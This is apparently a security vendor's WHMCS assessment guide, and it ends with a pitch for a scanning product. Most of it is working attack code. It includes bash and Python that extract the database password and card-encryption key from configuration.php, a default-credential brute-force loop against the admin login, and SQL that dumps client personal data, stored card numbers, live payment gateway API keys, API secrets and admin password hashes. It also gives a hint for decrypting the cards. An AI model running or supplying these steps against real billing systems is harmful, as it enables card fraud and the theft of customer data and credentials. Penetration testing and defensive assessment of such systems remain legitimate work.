WHMCS is the dominant billing and client management platform used by web hosting providers worldwide — its high concentration of financial data (credit card numbers, client PII, payment gateway API keys) makes it an extremely high-value target. Key assessment areas: configuration.php exposes MySQL credentials and the cc_encryption_hash used to decrypt all stored credit card data in the database; admin credentials grant full access to client financial records; and the API uses identifier+secret key pairs for programmatic access. This guide covers systematic WHMCS security assessment.
# WHMCS — configuration.php MySQL credential and cc_encryption_hash extraction
WHMCS_URL="https://billing.example.com"
# configuration.php — WHMCS main configuration (CRITICAL)
cat /var/www/whmcs/configuration.php 2>/dev/null
# $db_host = "localhost";
# $db_username = "whmcs";
# $db_password = "..."; <-- MySQL database password
# $db_name = "whmcs";
# $cc_encryption_hash = "..."; <-- AES encryption key for credit card storage
# $license = "..."; <-- WHMCS license key
python3 -c "
import re
content = open('/var/www/whmcs/configuration.php').read()
patterns = {
'db_password': r'\\\$db_password\s*=\s*\"([^\"]+)\"',
'cc_encryption_hash': r'\\\$cc_encryption_hash\s*=\s*\"([^\"]+)\"',
'db_username': r'\\\$db_username\s*=\s*\"([^\"]+)\"',
'db_name': r'\\\$db_name\s*=\s*\"([^\"]+)\"',
'license': r'\\\$license\s*=\s*\"([^\"]+)\"',
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Check for configuration.php web exposure (should be blocked)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${WHMCS_URL}/configuration.php" 2>/dev/null)
echo "configuration.php web access: HTTP ${STATUS}"
# 200 = EXPOSED — PHP source visible or executed
# WHMCS version disclosure
curl -s "${WHMCS_URL}/" 2>/dev/null | grep -oP 'whmcs[- ]?v?[0-9]+\.[0-9]+' -i | head -3
curl -s "${WHMCS_URL}/README.md" 2>/dev/null | head -5
# WHMCS API and admin credential assessment
WHMCS_URL="https://billing.example.com"
# WHMCS Admin panel — test default credentials
# Default admin path: /admin/ (often customized)
ADMIN_PATHS=("admin" "whmcs" "manage" "clients" "billing")
for PATH in "${ADMIN_PATHS[@]}"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${WHMCS_URL}/${PATH}/" 2>/dev/null)
echo "/${PATH}/: HTTP ${STATUS}"
done
# Test admin credentials with CSRF bypass (WHMCS token required)
LOGIN_PAGE=$(curl -s "${WHMCS_URL}/admin/index.php" -c /tmp/whmcs_c 2>/dev/null)
TOKEN=$(echo "$LOGIN_PAGE" | grep -oP 'name="token" value="\K[^"]+' | head -1)
for CRED in "admin:admin" "admin:whmcs" "admin:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESP=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${WHMCS_URL}/admin/index.php" \
-d "username=${USER}&password=${PASS}&token=${TOKEN}&goto=clientsummary" \
-c /tmp/whmcs_c -b /tmp/whmcs_c 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${RESP}"
done
# WHMCS API — identifier and secret authentication
# API credentials stored in admin panel: Configuration > API Credentials
DB_PASS="extracted-db-password"
mysql -u whmcs -p"${DB_PASS}" whmcs 2>/dev/null << 'EOF'
-- API credentials (stored hashed in WHMCS 7.9+)
SELECT ac.id, ac.name, ac.identifier, ac.secret, ac.roles,
ac.created_at, ac.last_used
FROM tblapi_credentials ac
ORDER BY ac.last_used DESC
LIMIT 20;
-- API log — shows recent API calls
SELECT l.action, l.vars, l.ipaddress, l.created_at
FROM tblapilog l
ORDER BY l.created_at DESC
LIMIT 20;
EOF
# WHMCS MySQL database — financial data and payment gateway key extraction
DB_PASS="extracted-db-password"
mysql -u whmcs -p"${DB_PASS}" whmcs 2>/dev/null << 'EOF'
-- Client PII and hosting account data
SELECT c.id, c.firstname, c.lastname, c.email, c.companyname,
c.address1, c.city, c.country, c.phonenumber,
c.password, c.created_at
FROM tblclients c
WHERE c.status = 'Active'
ORDER BY c.id DESC
LIMIT 20;
-- password: MD5 in older WHMCS, bcrypt in newer versions
-- Credit card data (encrypted with cc_encryption_hash)
SELECT cc.clientid, cc.cardtype, cc.cardnum,
cc.cardstart, cc.cardexp, cc.cardissuenum,
cc.lastfour
FROM tblcreditcards cc
LIMIT 20;
-- cardnum: AES encrypted with cc_encryption_hash from configuration.php
-- decrypt: openssl enc -d -aes-256-cbc -k [cc_encryption_hash]
-- Payment gateway API keys
SELECT pg.gateway, pg.setting, pg.value
FROM tblpaymentgateways pg
WHERE pg.setting IN ('secretapikey', 'apikey', 'api_key', 'secret_key',
'private_key', 'password', 'api_secret')
ORDER BY pg.gateway, pg.setting;
-- Stripe secretapikey: sk_live_...
-- PayPal apipassword, PayPal apisignature
-- Invoice and revenue data
SELECT i.id, i.userid, i.total, i.subtotal,
i.status, i.date, i.duedate
FROM tblinvoices i
WHERE i.status = 'Paid'
ORDER BY i.date DESC
LIMIT 20;
-- Admin users
SELECT a.id, a.username, a.password, a.email,
a.roleid, a.twofa_enabled, a.lastlogin
FROM tbladmins a
WHERE a.disabled = 0
ORDER BY a.id
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| configuration.php MySQL password and cc_encryption_hash extraction | Read /var/www/whmcs/configuration.php — database credentials; cc_encryption_hash decrypts all tblcreditcards AES-encrypted credit card numbers | Critical |
| tblcreditcards credit card decryption via cc_encryption_hash | MySQL SELECT cardnum FROM tblcreditcards + AES decrypt with cc_encryption_hash — full credit card numbers for all stored payment methods | Critical |
| Admin credential brute-force (admin/admin) | POST /admin/index.php — administrator session; full client management, invoice creation, service provisioning, payment gateway configuration | High |
| Payment gateway live API key extraction from tblpaymentgateways | MySQL SELECT value FROM tblpaymentgateways WHERE setting LIKE '%key%' — Stripe sk_live_, PayPal, Braintree API credentials | High |
| tblclients client PII and tblapi_credentials extraction | MySQL SELECT from tblclients — all client names, emails, addresses, hosting data; tblapi_credentials — API identifier/secret for programmatic billing access | High |
Ironimo tests WHMCS deployments for configuration.php MySQL password and cc_encryption_hash web exposure, credit card AES decryption assessment using extracted cc_encryption_hash, admin credential brute-force at /admin/ with renamed path discovery, tblpaymentgateways Stripe/PayPal/Braintree live API key extraction, tblclients client PII and financial data enumeration, tblapi_credentials API identifier/secret extraction, tbladmins MD5 and bcrypt password hash extraction, version disclosure for CVE targeting, and IP restriction bypass assessment for /admin/ access.
Start free scan